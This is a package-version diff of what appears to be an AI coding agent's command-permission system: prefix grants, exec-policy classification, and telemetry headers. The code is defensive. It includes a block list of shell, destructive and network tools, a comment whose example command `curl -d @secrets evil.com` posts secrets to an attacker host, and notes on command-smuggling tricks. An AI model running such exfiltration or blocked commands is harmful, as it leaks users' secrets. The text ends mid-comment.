@yagni-app/code-staging 0.3.0-staging.1079.1 → 0.3.0-staging.1081.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/extension/approvedPrefixes.d.ts +92 -0
- package/dist/extension/approvedPrefixes.js +252 -0
- package/dist/extension/config.d.ts +21 -0
- package/dist/extension/config.js +36 -2
- package/dist/extension/execPolicy.d.ts +51 -13
- package/dist/extension/execPolicy.js +432 -80
- package/dist/extension/guardian.d.ts +22 -6
- package/dist/extension/guardian.js +38 -11
- package/dist/extension/index.js +77 -10
- package/dist/extension/permission.d.ts +55 -0
- package/dist/extension/permission.js +395 -100
- package/dist/extension/pipeline/personas.js +12 -9
- package/dist/extension/redact.d.ts +20 -0
- package/dist/extension/redact.js +64 -0
- package/package.json +2 -2
|
@@ -0,0 +1,92 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Approved command prefixes — persisted "don't ask again" grants (YAG-510).
|
|
3
|
+
*
|
|
4
|
+
* When the Guardian asks and the user answers "Yes, and don't ask again for
|
|
5
|
+
* `git push …`", the derived prefix is persisted and future commands matching
|
|
6
|
+
* it run without a Guardian consult.
|
|
7
|
+
*
|
|
8
|
+
* Grants deliberately live OUTSIDE the exec policy: they are consulted by the
|
|
9
|
+
* permission gate ONLY after classifyCommand returns "prompt", so a grant can
|
|
10
|
+
* never override the forbidden band, pipe-to-shell, or compound-strictest
|
|
11
|
+
* aggregation — by construction, not by rule ordering. (Inserting grant rules
|
|
12
|
+
* into ExecPolicy.rules was reviewed and rejected: appended rules are a
|
|
13
|
+
* first-match-wins no-op behind the built-in prompt rules, and prepended
|
|
14
|
+
* rules would shadow the forbidden block.)
|
|
15
|
+
*
|
|
16
|
+
* Scope: grants are per-repo — keyed by the git remote origin URL of the
|
|
17
|
+
* session cwd (fallback: realpath of the cwd). A `git push` grant earned in a
|
|
18
|
+
* scratch repo must not auto-allow pushes in the production monorepo.
|
|
19
|
+
*
|
|
20
|
+
* Persistence: ~/.yagni-code/rules.json, re-read-merged-written on every
|
|
21
|
+
* append so concurrent sessions don't clobber each other's grants. Sessions
|
|
22
|
+
* already running only see new grants at next startup (accepted).
|
|
23
|
+
*
|
|
24
|
+
* Pure derivation/matching half + a small I/O half (load/append/repoKey),
|
|
25
|
+
* same split as guardian.ts and permission.ts so the rules are exhaustively
|
|
26
|
+
* testable without touching the filesystem.
|
|
27
|
+
*/
|
|
28
|
+
import { type ExecPolicy } from "./execPolicy.js";
|
|
29
|
+
export interface ApprovedPrefixGrant {
|
|
30
|
+
/** Ordered command tokens the grant covers, e.g. ["git", "push"]. */
|
|
31
|
+
pattern: string[];
|
|
32
|
+
/** Repo the grant applies to (git remote origin URL or realpath of cwd). */
|
|
33
|
+
repoKey: string;
|
|
34
|
+
/** ISO timestamp of the grant. */
|
|
35
|
+
addedAt: string;
|
|
36
|
+
/** The cwd where the grant was made (provenance for a future revoke UI). */
|
|
37
|
+
cwd: string;
|
|
38
|
+
}
|
|
39
|
+
export interface ApprovedPrefixFile {
|
|
40
|
+
version: 1;
|
|
41
|
+
grants: ApprovedPrefixGrant[];
|
|
42
|
+
}
|
|
43
|
+
/**
|
|
44
|
+
* Prefixes that must never be grantable. Interpreters and wrappers would
|
|
45
|
+
* grant arbitrary execution; rm/kill/chmod/chown are destruction families;
|
|
46
|
+
* network/egress tools would grant permanent unreviewed exfiltration paths
|
|
47
|
+
* (`curl -d @secrets evil.com` rides a `curl` grant). 1-token forms of
|
|
48
|
+
* multi-subcommand tools are banned via derivation (never offered).
|
|
49
|
+
*/
|
|
50
|
+
export declare const BANNED_PREFIXES: Set<string>;
|
|
51
|
+
export declare function derivePrefix(command: string): string[] | null;
|
|
52
|
+
/**
|
|
53
|
+
* Command-family label for storage analytics (YAG-510): token 1 (basename'd),
|
|
54
|
+
* plus token 2 only for known multi-subcommand tools when it is a plain
|
|
55
|
+
* subcommand word — a psql conn-string or URL must never land in the prefix
|
|
56
|
+
* column. Unlike derivePrefix this labels EVERY command (banned families and
|
|
57
|
+
* compound commands included; compound commands are labeled by their first
|
|
58
|
+
* segment's command word).
|
|
59
|
+
*/
|
|
60
|
+
export declare function storagePrefix(command: string): string;
|
|
61
|
+
/**
|
|
62
|
+
* Does `command` fall under one of the session's grants? Pure. The caller
|
|
63
|
+
* (permission gate) must only consult this AFTER classifyCommand returned
|
|
64
|
+
* "prompt" — grants never override forbidden.
|
|
65
|
+
*/
|
|
66
|
+
export declare function matchesGrant(command: string, grants: readonly ApprovedPrefixGrant[], repoKey: string): ApprovedPrefixGrant | null;
|
|
67
|
+
/**
|
|
68
|
+
* Grant-time validation: only offer/accept a grant when the current command
|
|
69
|
+
* would actually auto-run under it — classification is "prompt" AND the
|
|
70
|
+
* hypothetical grant matches. Prevents offering a "don't ask again" that
|
|
71
|
+
* wouldn't have prevented this ask (or that covers a fenced shape).
|
|
72
|
+
*/
|
|
73
|
+
export declare function validateGrant(command: string, policy: ExecPolicy, repoKey: string): ApprovedPrefixGrant | null;
|
|
74
|
+
/** Human label for the remember option: "git push …". */
|
|
75
|
+
export declare function describePrefix(pattern: string[]): string;
|
|
76
|
+
export declare function rulesFilePath(homeOverride?: string | null): string;
|
|
77
|
+
/**
|
|
78
|
+
* Resolve the grant scope key for a session cwd: the git remote origin URL,
|
|
79
|
+
* falling back to the realpath of the cwd (no remote, not a repo, git
|
|
80
|
+
* missing). Fail-soft — never throws.
|
|
81
|
+
*/
|
|
82
|
+
export declare function resolveRepoKey(cwd: string): string;
|
|
83
|
+
/** Load persisted grants. Malformed or missing file → empty (fail-soft). */
|
|
84
|
+
export declare function loadGrants(homeOverride?: string | null): ApprovedPrefixGrant[];
|
|
85
|
+
/**
|
|
86
|
+
* Persist a new grant: re-read the file, merge (drop exact duplicates), write.
|
|
87
|
+
* The re-read is the concurrency guard — a parallel session's grant appended
|
|
88
|
+
* between our load and this call survives. Returns the merged list; throws
|
|
89
|
+
* never (fail-soft, returns the in-memory merge even if the write fails).
|
|
90
|
+
*/
|
|
91
|
+
export declare function appendGrant(grant: ApprovedPrefixGrant, homeOverride?: string | null): ApprovedPrefixGrant[];
|
|
92
|
+
//# sourceMappingURL=approvedPrefixes.d.ts.map
|
|
@@ -0,0 +1,252 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Approved command prefixes — persisted "don't ask again" grants (YAG-510).
|
|
3
|
+
*
|
|
4
|
+
* When the Guardian asks and the user answers "Yes, and don't ask again for
|
|
5
|
+
* `git push …`", the derived prefix is persisted and future commands matching
|
|
6
|
+
* it run without a Guardian consult.
|
|
7
|
+
*
|
|
8
|
+
* Grants deliberately live OUTSIDE the exec policy: they are consulted by the
|
|
9
|
+
* permission gate ONLY after classifyCommand returns "prompt", so a grant can
|
|
10
|
+
* never override the forbidden band, pipe-to-shell, or compound-strictest
|
|
11
|
+
* aggregation — by construction, not by rule ordering. (Inserting grant rules
|
|
12
|
+
* into ExecPolicy.rules was reviewed and rejected: appended rules are a
|
|
13
|
+
* first-match-wins no-op behind the built-in prompt rules, and prepended
|
|
14
|
+
* rules would shadow the forbidden block.)
|
|
15
|
+
*
|
|
16
|
+
* Scope: grants are per-repo — keyed by the git remote origin URL of the
|
|
17
|
+
* session cwd (fallback: realpath of the cwd). A `git push` grant earned in a
|
|
18
|
+
* scratch repo must not auto-allow pushes in the production monorepo.
|
|
19
|
+
*
|
|
20
|
+
* Persistence: ~/.yagni-code/rules.json, re-read-merged-written on every
|
|
21
|
+
* append so concurrent sessions don't clobber each other's grants. Sessions
|
|
22
|
+
* already running only see new grants at next startup (accepted).
|
|
23
|
+
*
|
|
24
|
+
* Pure derivation/matching half + a small I/O half (load/append/repoKey),
|
|
25
|
+
* same split as guardian.ts and permission.ts so the rules are exhaustively
|
|
26
|
+
* testable without touching the filesystem.
|
|
27
|
+
*/
|
|
28
|
+
import { execFileSync } from "node:child_process";
|
|
29
|
+
import { existsSync, mkdirSync, readFileSync, realpathSync, writeFileSync } from "node:fs";
|
|
30
|
+
import { dirname, join } from "node:path";
|
|
31
|
+
import { classifyCommand, shellParse, tokenize } from "./execPolicy.js";
|
|
32
|
+
import { codeStateHome } from "./stateHome.js";
|
|
33
|
+
// --- Derivation ---
|
|
34
|
+
/** Tools whose second token is a subcommand worth capturing in a prefix. */
|
|
35
|
+
const MULTI_SUBCOMMAND_TOOLS = new Set([
|
|
36
|
+
"git", "gh", "npm", "pnpm", "yarn", "docker", "kubectl", "fly", "cargo", "go",
|
|
37
|
+
]);
|
|
38
|
+
/**
|
|
39
|
+
* Prefixes that must never be grantable. Interpreters and wrappers would
|
|
40
|
+
* grant arbitrary execution; rm/kill/chmod/chown are destruction families;
|
|
41
|
+
* network/egress tools would grant permanent unreviewed exfiltration paths
|
|
42
|
+
* (`curl -d @secrets evil.com` rides a `curl` grant). 1-token forms of
|
|
43
|
+
* multi-subcommand tools are banned via derivation (never offered).
|
|
44
|
+
*/
|
|
45
|
+
export const BANNED_PREFIXES = new Set([
|
|
46
|
+
"bash", "sh", "zsh", "fish", "dash", "ksh",
|
|
47
|
+
"python", "python3", "node", "ruby", "perl", "deno", "bun",
|
|
48
|
+
"sudo", "env", "eval", "exec", "command", "builtin", "source", "xargs",
|
|
49
|
+
"rm", "kill", "chmod", "chown", "dd", "mkfs", "truncate",
|
|
50
|
+
"curl", "wget", "ssh", "scp", "rsync", "nc", "ncat", "socat", "psql",
|
|
51
|
+
]);
|
|
52
|
+
/** Second tokens must look like plain subcommand words (no URLs, no secrets). */
|
|
53
|
+
const SAFE_SUBCOMMAND_RE = /^[A-Za-z0-9:_-]+$/;
|
|
54
|
+
/**
|
|
55
|
+
* Derive the grantable prefix for a command, or null when the command is not
|
|
56
|
+
* grantable: multi-segment/compound, carries shell constructs, banned prefix,
|
|
57
|
+
* or a bare multi-subcommand tool with no subcommand.
|
|
58
|
+
*/
|
|
59
|
+
/**
|
|
60
|
+
* A command qualifies for grant coverage only when it is one plain command:
|
|
61
|
+
* no operators, no constructs (checked via the quote-aware tokenizer, so
|
|
62
|
+
* `git commit -m "a & b"` still qualifies — the & is quoted text).
|
|
63
|
+
*/
|
|
64
|
+
function isSinglePlainCommand(command) {
|
|
65
|
+
return !shellParse(command).some((t) => typeof t === "object");
|
|
66
|
+
}
|
|
67
|
+
export function derivePrefix(command) {
|
|
68
|
+
// Grants only ever cover single plain commands. Any operator or construct
|
|
69
|
+
// (|, &&, ;, newline, redirect, substitution, &) disqualifies.
|
|
70
|
+
if (!isSinglePlainCommand(command))
|
|
71
|
+
return null;
|
|
72
|
+
const tokens = tokenize(command);
|
|
73
|
+
if (tokens.length === 0)
|
|
74
|
+
return null;
|
|
75
|
+
const first = tokens[0];
|
|
76
|
+
// Path-prefixed or escaped command words are never grantable.
|
|
77
|
+
if (first.includes("/") || first.startsWith("\\"))
|
|
78
|
+
return null;
|
|
79
|
+
if (BANNED_PREFIXES.has(first))
|
|
80
|
+
return null;
|
|
81
|
+
if (MULTI_SUBCOMMAND_TOOLS.has(first)) {
|
|
82
|
+
const second = tokens[1];
|
|
83
|
+
if (!second || second.startsWith("-") || !SAFE_SUBCOMMAND_RE.test(second))
|
|
84
|
+
return null;
|
|
85
|
+
return [first, second];
|
|
86
|
+
}
|
|
87
|
+
return [first];
|
|
88
|
+
}
|
|
89
|
+
/**
|
|
90
|
+
* Command-family label for storage analytics (YAG-510): token 1 (basename'd),
|
|
91
|
+
* plus token 2 only for known multi-subcommand tools when it is a plain
|
|
92
|
+
* subcommand word — a psql conn-string or URL must never land in the prefix
|
|
93
|
+
* column. Unlike derivePrefix this labels EVERY command (banned families and
|
|
94
|
+
* compound commands included; compound commands are labeled by their first
|
|
95
|
+
* segment's command word).
|
|
96
|
+
*/
|
|
97
|
+
export function storagePrefix(command) {
|
|
98
|
+
const tokens = tokenize(command);
|
|
99
|
+
if (tokens.length === 0)
|
|
100
|
+
return "(empty)";
|
|
101
|
+
const rawFirst = tokens[0].startsWith("\\") ? tokens[0].slice(1) : tokens[0];
|
|
102
|
+
const slash = rawFirst.lastIndexOf("/");
|
|
103
|
+
const first = slash >= 0 ? rawFirst.slice(slash + 1) : rawFirst;
|
|
104
|
+
const second = tokens[1];
|
|
105
|
+
if (MULTI_SUBCOMMAND_TOOLS.has(first) && second && SAFE_SUBCOMMAND_RE.test(second) && !second.startsWith("-")) {
|
|
106
|
+
return `${first} ${second}`;
|
|
107
|
+
}
|
|
108
|
+
return first;
|
|
109
|
+
}
|
|
110
|
+
// --- Matching ---
|
|
111
|
+
/**
|
|
112
|
+
* git-push refspec shapes that encode force/delete positionally: a leading
|
|
113
|
+
* `+` forces, a `:` inside a refspec deletes or maps (`:main` deletes the
|
|
114
|
+
* remote branch). Confirmed unfencable via flag lists — so any such arg
|
|
115
|
+
* knocks the command out of grant coverage entirely.
|
|
116
|
+
*/
|
|
117
|
+
function hasGitPushRefspecDanger(tokens) {
|
|
118
|
+
return tokens.slice(2).some((t) => t.startsWith("+") || (!t.startsWith("-") && t.includes(":")));
|
|
119
|
+
}
|
|
120
|
+
/**
|
|
121
|
+
* Flags that must never ride a grant even though the exec policy leaves them
|
|
122
|
+
* in the prompt band (e.g. --force-with-lease is Guardian-reviewable but a
|
|
123
|
+
* standing grant for it would be a silent force-push license).
|
|
124
|
+
*/
|
|
125
|
+
function hasGrantFencedFlag(pattern, tokens) {
|
|
126
|
+
if (pattern[0] === "git" && pattern[1] === "push") {
|
|
127
|
+
return tokens.some((t) => t.startsWith("--force") || t === "-f");
|
|
128
|
+
}
|
|
129
|
+
return false;
|
|
130
|
+
}
|
|
131
|
+
/**
|
|
132
|
+
* Does `command` fall under one of the session's grants? Pure. The caller
|
|
133
|
+
* (permission gate) must only consult this AFTER classifyCommand returned
|
|
134
|
+
* "prompt" — grants never override forbidden.
|
|
135
|
+
*/
|
|
136
|
+
export function matchesGrant(command, grants, repoKey) {
|
|
137
|
+
// Same single-plain-command restriction as derivation.
|
|
138
|
+
if (!isSinglePlainCommand(command))
|
|
139
|
+
return null;
|
|
140
|
+
const tokens = tokenize(command);
|
|
141
|
+
if (tokens.length === 0)
|
|
142
|
+
return null;
|
|
143
|
+
for (const grant of grants) {
|
|
144
|
+
if (grant.repoKey !== repoKey)
|
|
145
|
+
continue;
|
|
146
|
+
if (grant.pattern.length === 0 || grant.pattern.length > tokens.length)
|
|
147
|
+
continue;
|
|
148
|
+
if (!grant.pattern.every((p, i) => tokens[i] === p))
|
|
149
|
+
continue;
|
|
150
|
+
if (hasGrantFencedFlag(grant.pattern, tokens))
|
|
151
|
+
continue;
|
|
152
|
+
if (grant.pattern[0] === "git" && grant.pattern[1] === "push" && hasGitPushRefspecDanger(tokens))
|
|
153
|
+
continue;
|
|
154
|
+
return grant;
|
|
155
|
+
}
|
|
156
|
+
return null;
|
|
157
|
+
}
|
|
158
|
+
/**
|
|
159
|
+
* Grant-time validation: only offer/accept a grant when the current command
|
|
160
|
+
* would actually auto-run under it — classification is "prompt" AND the
|
|
161
|
+
* hypothetical grant matches. Prevents offering a "don't ask again" that
|
|
162
|
+
* wouldn't have prevented this ask (or that covers a fenced shape).
|
|
163
|
+
*/
|
|
164
|
+
export function validateGrant(command, policy, repoKey) {
|
|
165
|
+
const pattern = derivePrefix(command);
|
|
166
|
+
if (!pattern)
|
|
167
|
+
return null;
|
|
168
|
+
if (classifyCommand(command, policy).decision !== "prompt")
|
|
169
|
+
return null;
|
|
170
|
+
const candidate = {
|
|
171
|
+
pattern,
|
|
172
|
+
repoKey,
|
|
173
|
+
addedAt: new Date().toISOString(),
|
|
174
|
+
cwd: "",
|
|
175
|
+
};
|
|
176
|
+
return matchesGrant(command, [candidate], repoKey) ? candidate : null;
|
|
177
|
+
}
|
|
178
|
+
/** Human label for the remember option: "git push …". */
|
|
179
|
+
export function describePrefix(pattern) {
|
|
180
|
+
return `${pattern.join(" ")} …`;
|
|
181
|
+
}
|
|
182
|
+
// --- I/O half ---
|
|
183
|
+
export function rulesFilePath(homeOverride = null) {
|
|
184
|
+
return join(codeStateHome(homeOverride), "rules.json");
|
|
185
|
+
}
|
|
186
|
+
/**
|
|
187
|
+
* Resolve the grant scope key for a session cwd: the git remote origin URL,
|
|
188
|
+
* falling back to the realpath of the cwd (no remote, not a repo, git
|
|
189
|
+
* missing). Fail-soft — never throws.
|
|
190
|
+
*/
|
|
191
|
+
export function resolveRepoKey(cwd) {
|
|
192
|
+
try {
|
|
193
|
+
const url = execFileSync("git", ["-C", cwd, "remote", "get-url", "origin"], {
|
|
194
|
+
encoding: "utf8",
|
|
195
|
+
stdio: ["ignore", "pipe", "ignore"],
|
|
196
|
+
timeout: 3_000,
|
|
197
|
+
}).trim();
|
|
198
|
+
if (url.length > 0)
|
|
199
|
+
return url;
|
|
200
|
+
}
|
|
201
|
+
catch {
|
|
202
|
+
// fall through to realpath
|
|
203
|
+
}
|
|
204
|
+
try {
|
|
205
|
+
return realpathSync(cwd);
|
|
206
|
+
}
|
|
207
|
+
catch {
|
|
208
|
+
return cwd;
|
|
209
|
+
}
|
|
210
|
+
}
|
|
211
|
+
/** Load persisted grants. Malformed or missing file → empty (fail-soft). */
|
|
212
|
+
export function loadGrants(homeOverride = null) {
|
|
213
|
+
try {
|
|
214
|
+
const path = rulesFilePath(homeOverride);
|
|
215
|
+
if (!existsSync(path))
|
|
216
|
+
return [];
|
|
217
|
+
const parsed = JSON.parse(readFileSync(path, "utf8"));
|
|
218
|
+
if (parsed?.version !== 1 || !Array.isArray(parsed.grants))
|
|
219
|
+
return [];
|
|
220
|
+
return parsed.grants.filter((g) => Array.isArray(g?.pattern) &&
|
|
221
|
+
g.pattern.length > 0 &&
|
|
222
|
+
g.pattern.every((t) => typeof t === "string") &&
|
|
223
|
+
typeof g.repoKey === "string" &&
|
|
224
|
+
typeof g.addedAt === "string" &&
|
|
225
|
+
typeof g.cwd === "string");
|
|
226
|
+
}
|
|
227
|
+
catch {
|
|
228
|
+
return [];
|
|
229
|
+
}
|
|
230
|
+
}
|
|
231
|
+
/**
|
|
232
|
+
* Persist a new grant: re-read the file, merge (drop exact duplicates), write.
|
|
233
|
+
* The re-read is the concurrency guard — a parallel session's grant appended
|
|
234
|
+
* between our load and this call survives. Returns the merged list; throws
|
|
235
|
+
* never (fail-soft, returns the in-memory merge even if the write fails).
|
|
236
|
+
*/
|
|
237
|
+
export function appendGrant(grant, homeOverride = null) {
|
|
238
|
+
const current = loadGrants(homeOverride);
|
|
239
|
+
const isDuplicate = current.some((g) => g.repoKey === grant.repoKey && g.pattern.join("") === grant.pattern.join(""));
|
|
240
|
+
const merged = isDuplicate ? current : [...current, grant];
|
|
241
|
+
try {
|
|
242
|
+
const path = rulesFilePath(homeOverride);
|
|
243
|
+
mkdirSync(dirname(path), { recursive: true });
|
|
244
|
+
const file = { version: 1, grants: merged };
|
|
245
|
+
writeFileSync(path, `${JSON.stringify(file, null, 2)}\n`, "utf8");
|
|
246
|
+
}
|
|
247
|
+
catch {
|
|
248
|
+
// Fail-soft: the in-memory grant still applies for this session.
|
|
249
|
+
}
|
|
250
|
+
return merged;
|
|
251
|
+
}
|
|
252
|
+
//# sourceMappingURL=approvedPrefixes.js.map
|
|
@@ -72,6 +72,8 @@ export interface FetchCatalogOptions {
|
|
|
72
72
|
getToken: () => string | undefined;
|
|
73
73
|
fetchImpl?: typeof fetch;
|
|
74
74
|
}
|
|
75
|
+
/** Guardian storage tier for this workspace (YAG-510). */
|
|
76
|
+
export type GuardianStorageTier = "off" | "hash" | "raw";
|
|
75
77
|
/** The startup catalog response from GET /api/yagni-code/models. */
|
|
76
78
|
export interface CatalogResult {
|
|
77
79
|
models: ModelEntry[];
|
|
@@ -81,6 +83,13 @@ export interface CatalogResult {
|
|
|
81
83
|
* missing field (older backend) reads as enabled.
|
|
82
84
|
*/
|
|
83
85
|
guardianEnabled: boolean;
|
|
86
|
+
/**
|
|
87
|
+
* Guardian event storage tier (YAG-510). Polarity is deliberately the
|
|
88
|
+
* OPPOSITE of guardianEnabled: only an explicit "hash" or "raw" turns
|
|
89
|
+
* storage on — a missing field (older backend) or unknown value reads as
|
|
90
|
+
* "off" (fail toward not sending).
|
|
91
|
+
*/
|
|
92
|
+
guardianStorage: GuardianStorageTier;
|
|
84
93
|
}
|
|
85
94
|
/**
|
|
86
95
|
* Fetch the YAGNI model catalog at startup.
|
|
@@ -166,11 +175,23 @@ export declare function isDriverCaller(env?: NodeJS.ProcessEnv): boolean;
|
|
|
166
175
|
* sanitizing client-side is what keeps the attribution instead of losing it.
|
|
167
176
|
*/
|
|
168
177
|
export declare function sanitizeCallerSegment(name: string, maxLength?: number): string;
|
|
178
|
+
/**
|
|
179
|
+
* Attribution headers for the boot-time /context fetch. Extends
|
|
180
|
+
* {@link attributionHeaders} (session id + caller) with the surface the
|
|
181
|
+
* session is painting for (the desktop driver sets YAGNI_SURFACE=desktop;
|
|
182
|
+
* the terminal CLI sets nothing) and the shipping client version. The server
|
|
183
|
+
* uses these to emit its "YAGNI Code Session Started" analytics event —
|
|
184
|
+
* labels only on that side: a missing or malformed value can never fail the
|
|
185
|
+
* fetch, it just goes uncounted or unversioned.
|
|
186
|
+
*/
|
|
187
|
+
export declare function sessionTelemetryHeaders(env?: NodeJS.ProcessEnv): Record<string, string>;
|
|
169
188
|
/** Options for {@link fetchContextBrief}. */
|
|
170
189
|
export interface FetchContextBriefOptions {
|
|
171
190
|
baseUrl: string;
|
|
172
191
|
getToken: () => string | undefined;
|
|
173
192
|
fetchImpl?: typeof fetch;
|
|
193
|
+
/** Env seam for the telemetry headers; defaults to process.env. */
|
|
194
|
+
env?: NodeJS.ProcessEnv;
|
|
174
195
|
}
|
|
175
196
|
/**
|
|
176
197
|
* Fetch the workspace company brief at startup.
|
package/dist/extension/config.js
CHANGED
|
@@ -85,7 +85,13 @@ export async function fetchCatalog(opts) {
|
|
|
85
85
|
throw new Error(`Failed to fetch YAGNI model catalog (HTTP ${res.status}). Run \`yagni login\` to re-authenticate.`);
|
|
86
86
|
}
|
|
87
87
|
const data = (await res.json());
|
|
88
|
-
return {
|
|
88
|
+
return {
|
|
89
|
+
models: data.models,
|
|
90
|
+
guardianEnabled: data.guardianEnabled !== false,
|
|
91
|
+
guardianStorage: data.guardianStorage === "raw" || data.guardianStorage === "hash"
|
|
92
|
+
? data.guardianStorage
|
|
93
|
+
: "off",
|
|
94
|
+
};
|
|
89
95
|
}
|
|
90
96
|
/** Shape-check for a caller label: mirrors the model proxy's own validation regex. */
|
|
91
97
|
const CALLER_LABEL_RE = /^[a-z0-9][a-z0-9:_.-]{0,63}$/i;
|
|
@@ -171,6 +177,28 @@ export function sanitizeCallerSegment(name, maxLength = 64) {
|
|
|
171
177
|
const trimmed = cleaned.slice(0, Math.max(0, maxLength));
|
|
172
178
|
return trimmed || "agent";
|
|
173
179
|
}
|
|
180
|
+
/**
|
|
181
|
+
* Shape-check for a client version label (semver-ish; matches the server's
|
|
182
|
+
* own allowlist). A value that fails is dropped, never sent raw.
|
|
183
|
+
*/
|
|
184
|
+
const CLIENT_VERSION_RE = /^[0-9a-z][0-9a-z.+-]{0,31}$/i;
|
|
185
|
+
/**
|
|
186
|
+
* Attribution headers for the boot-time /context fetch. Extends
|
|
187
|
+
* {@link attributionHeaders} (session id + caller) with the surface the
|
|
188
|
+
* session is painting for (the desktop driver sets YAGNI_SURFACE=desktop;
|
|
189
|
+
* the terminal CLI sets nothing) and the shipping client version. The server
|
|
190
|
+
* uses these to emit its "YAGNI Code Session Started" analytics event —
|
|
191
|
+
* labels only on that side: a missing or malformed value can never fail the
|
|
192
|
+
* fetch, it just goes uncounted or unversioned.
|
|
193
|
+
*/
|
|
194
|
+
export function sessionTelemetryHeaders(env = process.env) {
|
|
195
|
+
const headers = attributionHeaders(env);
|
|
196
|
+
headers["x-yagni-surface"] = env.YAGNI_SURFACE === "desktop" ? "desktop" : "cli";
|
|
197
|
+
const version = env.YAGNI_CODE_VERSION ?? "";
|
|
198
|
+
if (CLIENT_VERSION_RE.test(version))
|
|
199
|
+
headers["x-yagni-client-version"] = version;
|
|
200
|
+
return headers;
|
|
201
|
+
}
|
|
174
202
|
/**
|
|
175
203
|
* Fetch the workspace company brief at startup.
|
|
176
204
|
*
|
|
@@ -180,7 +208,13 @@ export function sanitizeCallerSegment(name, maxLength = 64) {
|
|
|
180
208
|
*/
|
|
181
209
|
export async function fetchContextBrief(opts) {
|
|
182
210
|
try {
|
|
183
|
-
const res = await resilientFetch(`${opts.baseUrl}/api/yagni-code/context`, {
|
|
211
|
+
const res = await resilientFetch(`${opts.baseUrl}/api/yagni-code/context`, {
|
|
212
|
+
method: "GET",
|
|
213
|
+
headers: {
|
|
214
|
+
authorization: `Bearer ${opts.getToken() ?? ""}`,
|
|
215
|
+
...sessionTelemetryHeaders(opts.env),
|
|
216
|
+
},
|
|
217
|
+
}, { fetchImpl: opts.fetchImpl });
|
|
184
218
|
if (!res.ok)
|
|
185
219
|
return null;
|
|
186
220
|
return (await res.json());
|
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
/**
|
|
2
2
|
* Exec policy engine — classifies bash commands via prefix rules + lightweight
|
|
3
|
-
* shell tokenization (YAG-504).
|
|
3
|
+
* shell tokenization (YAG-504, restructured in YAG-510).
|
|
4
4
|
*
|
|
5
5
|
* Pure: no I/O, no network, no model. Loads at startup and classifies
|
|
6
6
|
* synchronously. The curated default set auto-allows read-only commands
|
|
@@ -10,12 +10,29 @@
|
|
|
10
10
|
*
|
|
11
11
|
* The `prompt` band is what the Guardian arbitrates — see guardian.ts.
|
|
12
12
|
*
|
|
13
|
+
* Classification composes three signals and takes the STRICTEST:
|
|
14
|
+
* 1. prefix-rule matching on every segment (newlines, ;, &&, ||, | split);
|
|
15
|
+
* 2. a construct floor — commands using redirects, substitution, or
|
|
16
|
+
* background & can never be auto-allowed (floor: prompt);
|
|
17
|
+
* 3. dangerScan — a best-effort sweep of command-substitution inner text
|
|
18
|
+
* ($(...) and backticks, including inside double quotes) against the
|
|
19
|
+
* FORBIDDEN rules only. Danger anywhere upgrades to forbidden; the scan
|
|
20
|
+
* can never make anything more permissive.
|
|
21
|
+
* This is the codex two-parser lesson: fail closed to prove safety, scan
|
|
22
|
+
* best-effort to prove danger. A forbidden match must win even when the
|
|
23
|
+
* command also carries constructs (`rm -rf / &` is forbidden, not prompt).
|
|
24
|
+
*
|
|
25
|
+
* Command words are matched through a leading-token strip (env assignments,
|
|
26
|
+
* sudo/env/command wrappers, shell reserved words, a leading backslash) and
|
|
27
|
+
* basename normalization (/bin/rm → rm) — both applied ASYMMETRICALLY: they
|
|
28
|
+
* can make a command land on forbidden/prompt rules, but a stripped or
|
|
29
|
+
* path-prefixed command is never auto-allowed (`sudo ls` and `./ls` stay in
|
|
30
|
+
* the prompt band; an attacker-named local `./rm` binary must not ride the
|
|
31
|
+
* allow list, and `/bin/ls` pays the same price by design).
|
|
32
|
+
*
|
|
13
33
|
* Tokenization is a lightweight inline parser — not shell-quote — because the
|
|
14
34
|
* extension is bundled into @yagni-app/code's dist (a file copy, not a real
|
|
15
35
|
* bundler), and external dependencies aren't resolvable from the bundled path.
|
|
16
|
-
* We only need: split on whitespace (respecting single/double quotes), detect
|
|
17
|
-
* control operators (|, &&, ||, ;), and flag shell constructs ($(...),
|
|
18
|
-
* backticks, redirects) that we can't statically analyze.
|
|
19
36
|
*/
|
|
20
37
|
export type TokenEntry = string | {
|
|
21
38
|
op: "pipe" | "and" | "or" | "semi" | "redirect" | "substitution";
|
|
@@ -25,14 +42,25 @@ export type TokenEntry = string | {
|
|
|
25
42
|
*
|
|
26
43
|
* Handles:
|
|
27
44
|
* - Single and double quoted strings (preserves spaces inside)
|
|
28
|
-
* - Control operators: |, &&, ||,
|
|
29
|
-
*
|
|
45
|
+
* - Control operators: |, &&, ||, ;, and newlines (a newline separates
|
|
46
|
+
* commands exactly like `;` — treating it as whitespace let multiline
|
|
47
|
+
* commands smuggle anything behind an allow-listed first line)
|
|
48
|
+
* - `#` comments (start-of-word to end-of-line, outside quotes)
|
|
49
|
+
* - Shell constructs we flag as unanalyzable: $(), backticks (INCLUDING
|
|
50
|
+
* inside double quotes — bash executes those), >, <, background &
|
|
30
51
|
*
|
|
31
|
-
* Does NOT handle: variable expansion, glob patterns, heredocs
|
|
32
|
-
* subshells beyond
|
|
33
|
-
* as "prompt"
|
|
52
|
+
* Does NOT handle: variable expansion, glob patterns, heredocs beyond the
|
|
53
|
+
* redirect flag, nested subshells beyond depth tracking. Commands using
|
|
54
|
+
* those are classified as "prompt" at minimum (construct floor).
|
|
34
55
|
*/
|
|
35
56
|
export declare function shellParse(command: string): TokenEntry[];
|
|
57
|
+
/**
|
|
58
|
+
* Extract the inner text of every command substitution — $(...) and
|
|
59
|
+
* backticks — respecting single-quote literalness and backslash escapes.
|
|
60
|
+
* Includes substitutions inside double quotes (bash executes those).
|
|
61
|
+
* Best-effort, used ONLY by dangerScan to prove danger, never safety.
|
|
62
|
+
*/
|
|
63
|
+
export declare function extractSubstitutions(command: string): string[];
|
|
36
64
|
export type ExecDecision = "allow" | "prompt" | "forbidden";
|
|
37
65
|
export interface PrefixRule {
|
|
38
66
|
/** Ordered tokens; a string[] element means alternatives (any match). */
|
|
@@ -47,6 +75,15 @@ export interface PrefixRule {
|
|
|
47
75
|
* band). Example: sed is read-only except with -i/--in-place.
|
|
48
76
|
*/
|
|
49
77
|
unlessTokens?: string[];
|
|
78
|
+
/**
|
|
79
|
+
* Position-independent flag requirement: the rule matches only when, in
|
|
80
|
+
* addition to the pattern prefix, at least one token AFTER the prefix
|
|
81
|
+
